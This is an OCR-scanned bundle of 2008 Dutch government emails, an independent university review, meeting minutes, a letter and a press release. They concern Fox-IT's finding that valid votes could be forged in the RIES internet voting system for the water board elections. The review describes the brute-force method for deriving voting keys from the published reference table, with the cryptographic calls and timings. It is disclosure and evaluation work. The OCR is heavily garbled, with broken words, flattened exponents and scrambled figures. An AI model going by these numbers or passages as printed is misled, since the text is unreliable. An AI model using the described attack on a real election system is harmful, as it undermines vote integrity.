Verzonden:
Aan:
cc:
Onderwerp:

Prima, Coen we zo. Geen probleem om I2/8
hebben .

RE: E-mail met bijlage (attachment):
waterschappen 2.0.ENC.pdf

RAP_M i nVe nW_P R080099_i nternetste m m e n

een definitief rapport te

Op dit moment heeft het rapport trouwens nog de status 'vertrouwelijk',
maar voor de definitieve versie is daL niet meer de bedoeling neem ik
aan.

Is voor ons ook nog wel van belang - wij krijgen inmiddels ook wel
vragen van (bijvoorbeeld) het platform voor informatiebeveiligers (pvib)
om eens te komen vertellen over onze bevindingen. Voor ons l-euk
natuurlijk, dus dat willen we graag doen, maar sowieso pas nadat het.
rapport definitief is en niet zonder e.e.a. even met jullie af te
s t emmen .

-Original lulessa
From:
Sent; dinsdag 15 juli 2008 10:00
rlan.

Sub ge (attachment):
RAP MinVenW PRO80099 internetstemmen waterschappen_2 .0 .ENC.pdf

hartefijk dank, eerste indruk is goed, maar ik qa er nog even echt voor
zitten en l-aat deze week nog van mij horen. De week erna ben ik ook nog
op kantoor, dan vakantie. Tijdens mijn vakantie is Wino bereikbaar.

Gisteren hebben we en op bezoek qehad om even
t-orla t.a h] i kken op het AO en afspraken te maken OVer de uitvoering vane v! s:J

de toezeggingen (o.a. over het stemmen tell-en) . Voor beiden was het de
eerste dag van hun vakantie, ze hadden dus erg weinig tijd om te
reag'eren op ju1lie verhaal . Ook
vakantie. Omdat de tijdsdruk na

is nog niet terug van
het AO to&-wat afgenomen is, hebben we

hun verzoek om meer reactietijd gehonoreerd. Vandaar de afspraak die
I gisteren met je gemaakE heeft voor 1 augustus. rk denk dat het het
rannorf a'l .l een maar ten goede kan komen.als ID en ] er nog goed
naar kijken - Ze reageerden gisteren in ieder geval al mefeen op de
laatste bulleL op pagina 4.

Op 19-8 spreekt de staatssecretaris met de verantwoordelijke bestuurders
van de Unie van waterschappen. ïn verband met de voorbereiding van dat
gesprek zouden wij jullie definitieve eindrapport op di L2 aug will-en
hebben. Ik neem aan dat dat wel lukt? Onze reactie krijg je deze week.

al ook reageren zodra hij terug is van vakantie.
is weer bereikbaar vanaf 5 auqustus

Ik heb inmiddels opdracht gegeven het contract aan te passen: einddatum
wordt 15 augustus.

woensdag 16 juli 2008 9:32



Verzonden: maanda

-Oors
Van:

L4 juli

RAP MiNVCNW PRo80099 internetstemmen waterschappen-Z .0 . ENC.pdf

< <RÀp_MinVenW_PR 0 8 0 0 9 9_int ernet s t emmen wat er s chappen-2 . 0 . ENC . pdf >>

Beste Ill,
Eindelijk klaar. :-)

Hierbij - met gepaste trots het conceptrapport. Graag hoor ik jullie
opmerkingen !

Disclaimer
* * * * * * * * * * * * * tí * * * * * * * * * * * * * * * * * * * * * Jí * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

Aan dit bericht kunnen geen rechten worden ontl-eend. Dit bericht is
uitsluitend bestemd voor de geadresseerde. Als u dit bericht per abuis
hebt ontvangen, wordt u verzocht het te vernietigen en de afzender te
informeren. Wij adviseren u om bij twijfel over de juistheid of de
volledigheid van de mail contact met afzender op te nemen.

This message sha11 not constitute any rights or obligations.
This message is intended so1e1y for Lhe addressee-
If you have received t.his me.Fsage in error, please delete it and
notify the sender imrnedj:ate1y. When in doubt whether this message
is correct or coinSilete, please contact the sender.
*******)k***rk*********tr*******tí*************tk***:k**********tí**********,(**



Van:
Verzonden:
Aan:

CC:
Onderwerp:

:070-3518417

Uitnodiging voor gesprek over Resultaten Fox-lT inzake internetstemvoorziening
waterschappen

Heren.

Morgen hebben we aÍspraak (om 10.00 uur in zaal F00.40) om mel elkaar te spreken over de resultaten van het
onderzoek van Fox-lT inzake internetstemvoorziening waterschappen. Bedoeling van de bijeenkomst is om een
laatste check uit te voeren op de raportage van Fox-lT. Het gaat daarbij vooral om voorkomen van feitelijk
onjuistheden in de rapportage. De bevindingen zijn en blijven verantwoordelijkheid van Fox-lT.

lk stel de volgende agenda voor:

1 . Opening
2. Korte toelichting van op het concept-rapport van FoxJT
3. Bespreking op hoofdlijnen van de inhoud van het rapport
4. Bespreking van het rapport hoofdstuk voor hoofdstuk
5. Vervolgafspraken r t
6. Sluiting

groer,

programma Bestuur, Organisatie en Instrumentatie
Ministerie van V&W
DG Water

ËL",1iltrffiÁG

woensdag 6 augustus 2008 11:57
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Van:
Verzonden:
Aan:
GG:
Ondenrerp:

Drie zaken:
1. Hierbij een aanzet van mijn kant voor een gezamenlijk agenda voor het overleg tussen Monique en Tineke op 19-8.
Graa commentaar.

Gezarnenlijke
agenda voor het o..,

2, We zÍjn van plan om het Fox-lT-rapport en de beschikking te sturen naar de dagelijkse besturen van de
waterschappen per adres Het Waterschaphuis, Postbus 130, 1135 ZK Edam. ls dat OK?
3. Zou jij mij informatie kunnen toesturen, waarin de svz inzake de verkiezingen wordt weer gegeven (met feitjes als:
hoeveel lijsten hebben zich aangemeld bij de verschillende waterschappen, wat voor lijsten etc). lk wil die info gebruiken
voor de nota aan de Stas.

ls een reactie urterlijk morgen om 12-00 uur mogelijk?

programma Bestuur, Organisatie en Instrumentatie
Ministerie van V&W
DG Water
Plesmanweg 1, kamer 802.02

groet,

-

11 auqustus 2008 14:33

gezamenlijk agenda voor ovérleg over

Postbus 20904

fax: 070-3518417
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Gezamenlij ke agenda voor het overleg over'Waterschapsverkiezingen
d.d.: 19 augustus 2008

I

1. Opening

2. Stand van zaken met betrekking tot waterschapsverkiezingen
Korte toelichting door mewouw De Vries over de meest recente ontwikkelingen
inzake de waterschapsverkiezingen.

3. Terugblik op debatten in de Tweede Kamer over de internetstemvoorziening
Gedachtenwisseling over de debatten in de Tweede Kamer over internetstemmen bij
de waterschapsverkiezingen.

4. Voorgenomen besluit inzake de internetstemvoorziening
Korte toelichting door de staatssecretaris op het voorgenomen besluit inzake de
internetstemvoorziening (mede op basis van het rapport van Fox-IT)

5. Vergroting van de opkomst bij de verkiezingen
Gedachtenwisseling over de wenselijkheden en mogelijkheden voor nadere
ondersteuning van V&W om de opkomst te vergroten.

6. Sluiting

't



Oorspronkelijk bericht

Van:
Verzonden:	 maandag 21 iuli 2008 13:48
Aan:
Onderwerp:
	 RÉ: opmerkingen bij concept advies

Dank voor je reactie! Dat ziet er positief uit Voor 7 augustus
inventariseren we alle punten (van 	 hebben we
inmiddels ook een uitgebreide reactie ontvangen, hebben jullie die ook
gehad?) en geven aan of en zo ja in hoeverre dat tot wijziging van het
rapport leidt. Hier en daar zal dat zeker nog het geval zijn.

Gezien het nadere onderzoek waar ;ons toe uitdaagt zie ik
wel een lichte overschrijding op het budget opdoemen - ik verwacht rond
de 62.000 uit te komen. Is dat een probleem, welke acties moeten daarop
ondernomen worden?

Alternatief is om de reactie van	 jte verwerken door hier en
daar de zinsnede 'nader onderzoek zou moeten uitwijzen of...' toe te
voegen - maar onze onderzoekers geven er natuurlijk de voorkeur aan om
hun aanname op zo'n gebied ook harder te maken. We denken dan vooral aan
het discussiepunt dat 	 opwerpt of het nu redelijkerwijs
mogelijk is om met een gewoné—rt'stemcodes te genereren. Hij acht onze
claims overdreven en theoretisch, terwijl wij vinden dat we nog heel
voorzichtig schatten. Maar met een test met een gewone PC is het
natuurlijk wel aan te tonen, en dan kunnen we de hele discussie meteen
kortsluiten.

Dat heeft onze voorkeur maar ik leg dat ook even bij jou neer
natuurlijk.

In de tussentijd zal ik een factuur sturen voor de aanvankelijke
hoofdsom, over het meerdere spreken we dan t.z.t. nog.

Groet! En fijne vakantie,

Oriqinal Message
F r om :
Sent: zondag 20 juli 2008 r7:777
To:
Subject: opmerkingen bij concept advies

ik had mijn commentaar eerder deze week alleen aan__ gestuurd, in de
gedachte dat hij het met jou zou bespreken op 7 aug, maar zie nu dat ik
jou deze week al een reactie had toegezegd. Daarom alsnog ook naar jou.

Groeten en dank voor jullie werk!

1



Van:
Verzonden:
Aan:
CC:
Onderwerp:

review.pdf

Ter inf o.

Zte de vragen die hij onder 2.2 stelt.

12 augustus 2008 8:30

ngen over generen stemcodes

Aanbeveling van is om het. referentiebestand niet voor de stemperiode te
pubJ-iceren.

Met vriendelijke groet,

Programmamanager

Het Waterschapshuis
p/a Breestraat 59, Leiden
Postbus 130
1l-35 zK Edam

Verzonden: dinsdag 12 augustus 2008 1

Aan:
CC:
Onderwerp: Re:

Hoi lI,
rn de bijlagre vind je mijn bevindingen.

fn het kort kan ik concl-uderen dat het mij lukL om op een ongeveer 5

jaar oude PC 2^36 RnPfD's te berekenen in ongeveer 40 uur. Dus ongeveer
een factor 2 langzamer dan wat Fox-ïT aangreeft, maar ik denk dat die
factor wel weg te werken is door een moderne PC te gebruiken.

Verder heb ik niet genoeg informatie om daadwerkelijk te kunnen
controleren of de aangegeven tijd om de vergelijkíngen reeel is of niet.

Overígens denk ook ik dat het niet vooraf publiceren van de
referenLietabel, maar slechts de bijbehorende hashes, geen problemen
voor het systeem oplevert en wel deze aanval voorkomt.

Met vriendelijke groet,

www . he twa t ers chap shu i sln I

-Oorspronkelij k bericht-

Bevindingen over generen stemcodes

wrote:



Bijqevoegd de reactie van van een bevindingen van
Fox-IT naar RïES. Het zou mogelijk zL)n volgens Fox met een eenvoudige
PC in korte t.ijd geldige stemcodes te generen op het gepubliceerde
referent.iebestand. Er wordt niet door ons ontkend dat dat niet mogelijk
zou zr)n. Maar Fox-fT claímt dat het binnen een zeer korte tijd kan
zonder de hulp van insiders - en met een eenvoudige PC. Dus ze gaan
verder, waar het onderzoek van EiPSI is gestopt. Maar kloppen hun claims
eigenlijk wel? !

Bijgevoegd* heb ik ook een korte appendix van Fox. De overige informatie
uit het conceptrapport moet aan je toezenden.

Ik stel het zeer
vrijmaken. Als je

nsdag
we weE.en

op prrls dat je op korte termijn hier ti t
en hebt, kan je die stellen aan

of Aans taande
dient Fox-IT het rapport definitief op te
of hun claim inderdaad klopt.

Jeveren en dan moeten

Ë

i

t
Programmamanager

* *Het Waterschapshuis**

www. hetwaterschapshuis . nl

en ander vertrouwelijk wordt behandeld.

t
rï.



Onafhankelijke review 'Hoofdstuk5' van [1]

Engelbert Hubbers o

Digital Security
Radboud Universiteit Nijmegen

12 augustus 2008

Inleiding
Op vrijdag 8 augustus ben ik door Simon Bouwman namens de waterschappen gevraagd te kijken
naar de claim die Fox-IT doet in haar rapport [1]. In dat rapport stelt Fox-IT dat het met een

normale PC mogelijk is om binnen een dag zonder hulp van insiders een geldige stemcode, de

sleutel Kp, te achterhalen.
Eveneens op die vrijdag heb ik van Bartek Gedrojc van Fox-IT de beschikking gekregeu over

hoofdstuk 5 uit hun rapport [1], samen met de code die bij de beschlijviug van hun aanval hoort.
Het waterschap wilde mijn reactie graag voor dinsdag 12 augustus hebben in verband nret de

definitieve oplevering van het rapport,

1 Werkwijze
Aangezien de beschikbare tijd voor mij erg kort was, heb ik mij beperkt tot de volgende acties.

1, Het bestuderen van hoofdstuk 5.

2. Het bestuderen van de programnracode.

3. Het uitvoeren van testen.

4, Het beschrijven van de resultaten.

2 Het rapport van Fox-IT
Hoofdstuk 5 valt uiteen in drie delen: het plobleem nret het stemgeheim in 2030, de snelle aanval
om een geldige Kp te berekenen erl een aantal algemene bevindingen.

2.I Achterhalen van Kgenvoterkey

De verhandeling over de kracht of juist de zwakte van de 2TDES-sleutel Kgenvoterkey lijkt mij
correct. Het is helaas een intrinsiek probleen als het gaat over gegevens die voor lange tijd geheim
moeten blijven. Als men maar lang genoeg de tijd heeft zal een brute-force attack uiteindelijk
slagen. Maar men kan natuurlijk wel proberen de termijn zolang mogelijk te maken, door een

krachtiger algoritme te gebruiken. Verder merkt Fox-IT terecht op dat naast de relatief zwakke
2TDES encryptie vooral de directe koppeling met het BSN ervoor zorgt dat het stemgeheim in
2030 niet meer gewaarborgd is.



2.2 Genereren van geldige KP

ook dit stuk ziet er qua tekst redelijk overtuigend uit. Uitgaande van het feit dat de geclaimde

cijfers kloppen (waarover later meer), heb ik eigenlijk slechts twee vragen:

1. Er wordt gezegd dat de sleuter na het berekenen va. 236 kandidaat

RnpID,s op basis van wi % is. Dat klopt volgens nlij wel, tnaar het

algoritme dat in appendi t geneleert geen rvillekeurige sleutels doordat er

slechts byte voor byte in .ens een nieuwe sleutel wordt gekozen.

2. Fox-IT claimt dat zij per- vergelijking slechts 20 nanoseconden nodig hebben, waardoor ua

is om het zoek-

i"i,ïlï:i Ïs:
van ongeveer 23

roe melt dan op die tijd van een uur komt'

Verder lijkt het hier alsof men eerst de hele tabel berekent en dan pas gaat vergelijken' op

een gewone pc za] d.at nooit sner kunnen omd.at er dan minirnaal 236 x 16 bytes nodig zijn

om al deze RnprD,s op te slaan. Dat vraagt om een minimaal geheugen van 1 terabvte'

N1aar aangezien ik zo geen reden kan bedeJ"n v/aarorn kandidaat RnPrD's die niet blijken

te matchen met echte RnpID's. rnoeten worden bewaard, kan er beter ua elke berekening

geclieckt word.e. of er een hit is of r-riet. In dat geval hoeft slechts de tabel met alle geldige

RnprD,s in het geheuge' te worde. opgeslagen en voor eeu lvaterschap met 1000000 kiezers

ko*rt dat neer op ollgev eer 22o x 16 nvt... oftervel 16 rnegabyte ett dat is natuurlijk geen

enkel probleem vool een recente PC'

2.3 Overige bevindingen

De bevinding over het beperkte nut van AberPr roept bij rnij een vraag op over de volgorde waat-op

via internet ontvangen stemrnen worden gecontroleeld, op correctheid' Als ik mij niet vergis wordt

er eerst gekeken of áe RnprD geldig is. Veivolgens worden alle stemmen vool dat ciuster bij elkaar

genomen en wordt er per Rncx eeist gekeken of hij geldig is en pas daarua of hij gelijk is aan een

ar eerd.er gesignaleerde gerdige stem. (zie fi.guur Bb, [2].) Deze volgorde lijkt te impliceren dat

als iemand simpelweg 100 verschillende AberPr's genereert en daarmee 100 verschiilende Rncx-en

waarvan e' precies ééá goed za: ziln, het systeem geen reden heeft orn die ene stetn af te keuren' Dat

zou dan alleen kunnel op grond van het feit dat er eell gegronde verdenking is dat er gefraudeerd

lb,

3 De programmacode

Het prog.amllta gebruikt de string'80011201'als input message, Omdat elk karakter wordt

opg"il.g"n als apárte byte, levert dit een input message van 8 bytes, precies zoais bij RIES ook

,*rat gebruikt. Het is ook vast niet toevallig dat hier een string wordt gebruikt die van de vorm

is van een Bal-BxrD. (Helaas is [2] een beetje onduidelijk over wat er nu precies als invoer moet

wordel gebruikt. Op grond van de tabei op bladzijde 140 zou moeten gelden

MDC2(DESrnac(Kp, /(ElrD))) : RnPID : MDC2(VnPID) : MDC2(DESnac(Kp, /(BalBxID)))

Dus BaIBxID : ElID terwiji dat duidelijk niet het geval is.)

Vervolgens wordt er een kêy van gemaakt via de procedure DES-key-set-unchecked. Het

unchecked betekent in het bijzonder dat er niet gekeken wordt of de sleutel al bij voorbaat als

zwak bekeld is. (Iets waar bij deze sleutels met veel nullen eriu uattrurlijk wel een grote kans op

is. )



Als de sleutel eenmaal is ingesteld wordt er met de call DES-cbc-cksum een DESnac berekend
op dezelfde manier als in RIES wordt gedaan: encrypt de invoer via CBC en neem de laatste 8

bytes als resultaat. Op dit moment is er dus een kandidaat VnPID berekend.
En uiteindelijk wordt een kandidaat RDPID berekend door MDC2 (V*fn) uit te rekenen,
Allemaal precies zoals het binnen RIES ook gebeurt. In het bijzonder heb ik gecontroleerd

dat als er een echte VuPID uit de referentietabel van RItrSKOA als invoer wordt gebruikt, er ook
daadwerkelijk dezelfde RnPID uitkomt ais in die referentietabel staat.

4 Testen

Na overtuigd te zijn van het feit dat de berekeningen in het programma overeenkomen met de

berekeningen in RIES, heb ik het programma aan het werk gezet op een reeds enkele jaren oude

Pentium 4 waarop Fedora 9 draait.

cat /proc/cpuinfo
Processor : 0

vendor-id : Genulnelntel
cpu fanily : 15

model : 2

urodel name : Intel(R) Pentiuur(R) 4 CPU 2.8OGHz
steppi-ng : 9

cpu MHz : 2793.059
cache síze : 512 KB

fdiv-bug : no
hJ-t-bug : no
f0Of-bug : no
coma-bug : no
fpu : yes
fpu_exception : yes
cpuid level- : 2

wP : yes
flags : fpu wre de pse tsc msr pae mce cx8 apic mtrr pge mca cmov

pat pse36 clflush dts acpi mnx fxsr sse sse2 ss ht tn pbe
up pebs bts cid xtpr

bogomips : 5589.25
clflush size : 64

De machine heeft I gigabyte aan geheugen. Verder is het nog een ge\rÍ/one 'single core' machine.
In het bijzonder is het duidelijk dat deze machine geen 'state of the art' is en dus zeer geschikt

voor deze test.
Helaas heb ik geen echt 'profile' programma beschikbaar en heb ik de timing dus op een wat

onnauwkeurige manier moeten doen via de tine.h moduie en clockO functie.
Het standaardprogramma dat 1 miljoen opeenvolgende RnPID's uitlekent (waarbij opeenvol-

gend slechts slaat op de gebruikte sleutel aangezien de MDC2 en zo er natuurlijk voor zorgt dat er
geen volgorde meer in te herkennen is) gaf een waarde van 1.7 seconden. Dat is niet zo snel als

Fox-IT ciaimt, maar deze machine is dan ook iets langzalrler dan de SGHz die zij als maat nemen.
Vervolgens heb ik het programna een beetje aangepast zodat het geschikt is om tijdens een

run in een file wat trace-informatie weg te schrijven. Uiteraard maakt dit het programma wat
Iangzamer, maar dit is verwaarloosbaar. Om bijvoorbeeld 232 RnPID's uit te rekenen laat ik na elk
blok van 226 RnPID's één entry in de log file wegschrijven. Daarbij bleek overigens een duidelijke
regelmaat op te treden: elk blok van 226 RnPID's kostte ongeveer 143 seconden, met als theoretisch
gevolg dat de totale berekening van 232 ongeveer 2.5 uur zou moeten duren. Dat bleek inderdaad
te kloppen. In het bijzonder betekent dat dat het uitrekenen van de gewenste 236 RnPID's op



deze machine 16 keer zo lang duurt en dus ongeveer 40 uur duurt. zoals te verwachten wederom

langzamer dan de cijfers van Fox-IT: ongeveer een factor 2, maar zeket geen ordegroottes!

In de vorige p"rág.uuf heb ik mijn vraagtekens gezet bij het feit of de gekozen wisseling van

sleutels.,"el ge.roàg ,*iu"k"urige' sleuiels oplóverde. Vandaar dat ik het programma heb aangepast

waarbij bij elke sleuteiwisseling alle 8 bytes in eerste instantie willekeurig worden gekozen om

vervolgens met twee te vermenigvuldigen om ervoor te zorgen dat het least signifi.cant bit altijd 0

is.

Vervolgens heb ik het programma nog eens gedraaid om 232 RnPtD's te berekenen' wat bleek:

deze implementatie die rand,om sleutels gebruikt, was zelfs een fractie sneller dan de originele

versier: 140 seco'den per blok van 226 waárden. Uiteindelijk terrniueerde dit programma dan ook

in een paar minuten minder dan het origineie programma.

Momenteel staat het programma te rekenen oln via random sleutels daadwerkeiijk de gewenste

236 RnprD,s te berekenen. Dit laat ik doen door 28 blokken van elk 228 RnPrD's uit te rekenen'

Hoewel het programma nu pas 26 van de 2bG blokken heeft berekend, is in elk geval weer te zien dat

er een grore regelmaat optreedt: de blokken kosten allemaal ongeveer 575 seconden- Doorberekend

levert ook dit weer ongeveer 40 uur op'

5 Conclusies

Op grond van d.e beperkte tests die ik in deze korte tijd heb kunnen uitvoeren, kan ik concluderen

dat ik op mijn pC een factor 2 te kort kom ten opzichte van de cijfers die Fox-IT aangeeft' Gezien

het feit dat mijn pc reeds een jaar of vijf oud is, Iijkt het mij heel goed mogelijk om op een nieuwe

pC daadwerkelijk de cijfers van Fox-IT te kunnen waarmaken. Verder is het natuurlijk zo dat

zelfs als het 40 uu, p".-geldige Kp kost, dat nog steeds tot gevolg heeft dat binnen enkele dagen

er geldige stemmen kunnen wordetl gegenereerd'

Ik heb helaas niet de mogelijkheid gehad om de claim dat één vergeiijking 20 nanoseconden

duurt te controleren,
Verder is het zo dat deze aanval gebaseerd is op iret vooraf publiceren van de referentietabel'

Voor zover ik het zo snel kan beoordelen is er theoretisch geerl bezwaar om slechts de hashwaarde

vau de referentietabel te publiceren.
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Verslag van het overleg over Waterschapsverkiezingen
d.d.: 19 augustus 2008 15.00 – 15.45 uur
Aanwezig:
Mevrouw Huizinga (Staatssecretaris V&W), mevrouw de Vries (Voorzitter Stuurgroep
Verkiezingen UvW),

1. Opening

2. Stand van zaken met betrekking tot waterschapsverkiezingen
Op 4 augustus is de registratie van de groeperingen (de lijsten) gesloten. In totaal hebben zich
243 groeperingen bij de verschillende waterschappen geregistreerd.
Algemeen valt op te merken dat de grote landelijk politieke partijen, Water Natuurlijk en de
Algemene Waterschapspartij bij vrijwel alle waterschappen mee doen. Daarnaast hebben zich
per waterschap specifieke groeperingen geregistreerd.

Tot 16 september volgt nu de kandidaatstelling. Vervolgens zullen de stembiljetten gedrukt en
verzonden worden voor de verkiezingen die van 13 t/m 25 november plaatsvinden.

Kieskompas B.V. maakt een stemhulp per waterschap. Invullen van deze stemhulp leidt tot een
uitkomst in vier blokken, waarbij aangegeven wordt bij welk cluster van partijen de voorkeur
van de kiezer het meest aansluit.

Over de verwachte opkomst wordt opgemerkt dat deze hoger zou kunnen zijn dan bij
voorgaande verkiezingen door:

werken met lijsten, vaak met een landelijk gezicht;
voor alle waterschappen tegelijk;
landelijke campagne die de bekendheid vergroot.

De UvW benut zo veel mogelijk momenten om media-aandacht te generen voor de
verkiezingen door het uitgeven van persberichten.

3. Terugblik op debatten in de Tweede Kamer over de internetstemvoorziening

4. Voorgenomen besluit inzake de internetstemvoorziening
Uit het rapport van Fox-IT blijkt dat het mogelijk is om "van buitenaf stemmen te injecteren in
de stembus". Dit wordt mogelijk gemaakt door publicatie van het referentiebestand. Op basis
van de huidige Regeling waterschapsverkiezingen 2008 moet publicatie van het
referentiebestand voorafgaand aan de verkiezingen plaatsvinden. Deze regeling is voor de
waterschapsverkiezingen van 2008 niet meer te wijzigen.
Omdat de waterschappen het niet aanvaardbaar vinden om het risico van injectie van
stemmen te lopen, trekken de waterschappen hun voornemen om de kiezer in de gelegenheid
te stellen zijn stem uit te brengen met behulp van internet in. Hiertoe zal het Waterschapshuis
een brief aan de Staatssecretaris sturen, waarbij de brief van 2 juni 2008 waarin het
voornemen aan haar bekend wordt gemaakt, wordt ingetrokken.

5. Vergroting van de opkomst bij de verkiezingen
Centraal zijn en zullen extra kosten gemaakt worden door de UvW, nu stemmen via internet
geen doorgang zal vinden. De waterschappen zullen deze kosten zelf dragen.
De Staatssecretaris heeft in haar brief van 30 juni aan de Tweede Kamer aangegeven de
waterschappen te willen ondersteunen bij het onder de aandacht brengen van de
waterschapsverkiezingen.



De UvW vraagt de Staatssecretaris om budget voor lokale radiospotjes en een abricampagne.
ecre atzij bereid is de kosten te dragen voor een landelijke
gne die de bekendheid van de waterschapsverkiezingen verder kan

Lokale verdieping van de "Nederland Leeft met Water"-campagne, via radiospotjes of t
anderszins, is volgens de Staatssecretaris aan de waterschappen zelf.

6. Sluiting
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Geachte mevrouw Huizinga- Heringa,

In mijn brief van 2 juni jl., rnet kenmerk 08-782, heb ik u in kennis gebracht van het voornemen
van de waterschappen de kiezer tijdens de waterschapsverkiezingen z00g in de gelegenheid te
stelfen zijn stem uit te brengen met behulp van internet. Hierbij geef ik namens de dagetijks
besturen van de waterschappen u aan dat de waterschappen afzien van het voornemen de kiezer
tijdens de waterschapsverkiezingen 2oo8 in de gelegenheid te stellen zijn stem uit te brengen met
behulp van internet.

voor de argumentatie van het niet gebruiken van het internetstemmen tUdens de
waterschapsverkiezingen in 2008 verwijs ik u naar de brief van de voorzitter van de stuurgroep
Waterschapsverkiezingen van 19 augustus 200g.

Met vriendelijke groet,
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11'.27

Hierbij suggesties voor aanpassingen van het persbericht. Volgens mij is het duidelijker om te spreken van het
"uitbrengen van meerdere stemmen" dan het "injecteren in de stembus".
Laatje nog even weten welke persberichtje wanneer uitstuurt?

I

xlT

groet,

ID

programma Bestuur, Organisatie en Instrumentatie
Ministerie van V&W
DG Water
Plesmanweg 1, kamer F.02.02
Postbus 20904

fax: 070-3518417



Waterschappen zien af van internetstemmen voor de verkiezingen
in 2008

Een nieuw onderzoek in o dracht van staatssecretaris Tineke Huizin a van Verkeer en
Waterstaat, uitgevoerd door Fox-IT, heeft een nieuw onverwacht probleem bij het
internetstems y steem voor de waterschapsverkiezingen aan het licht gebracht. Dit probleem
heeft als consequentie dat één kwaadwillende kiezer meerdere stemmen zou kunnen
uitbrengen. Omdat probleem op te lossen is een wijziging van het Waterschapsbesluit
noodzakelijk. Dit is op korte termijn niet mogelijk. 
Dit is voor de waterschappen reden om af te zien van internetstemmen voor de
waterschapsverkiezingen in 2008,.

Het rapport van Fox-IT, dat door het ministerie van Verkeer en Waterstaat voor commentaar
is voorgelegd aan het Waterschapshuis, komt op een belangrijk punt tot een andere
conclusie dan alle eerder geschreven rapporten (bijv. het EiPSI-rapport van 24 juni jl).
Voorafgaand aan de verkiezingen moet op grond van het Waterschapsbesluit het
zogenoemde  referentiebestand worden gepubliceerd. Het publiceren van dit bestand heeft
als doel de verkiezingen transparanter te maken. Fox IT heeft geconstateerd dat, met het
referentiebestand als basis, het op "relatief eenvoudige" wijze mogelijk is om door
kwaadwillenden meerdere  stemmen te laten uitbrengeninie-Gt-e-ren in de-som-bus.
Deze bevinding is voor de Unie van Waterschappen aanleiding om tot de conclusie te komen
dat het op dit moment onverantwoord is om de internetstemvoorziening voor de
waterschapsverkiezingen in 2008 in te zetten
Nader onderzocht moet worden of het op een ander moment publiceren van het
referentiebestand een afdoende oplossing is om te voorkomen dat door één kiezer meerdere
stemmen kunnen worden uitgebrachthot vag-ébátenaf injectren van--ste
waardoor de internetstemvoorziening bij volgende waterschapsverkiezingen wel kan worden
ingezet. Om deze oplossing mogelijk te maken zal het Waterschapsbesluit moeten worden
aangepast.
Het wijzigen van het Waterschapsbesluit voor de verkiezingen in 2008 is niet meer mogelijk.

Voor nadere inlichtingen kunt u zich wenden tot de projectleider bij de Unie van
Waterschappen
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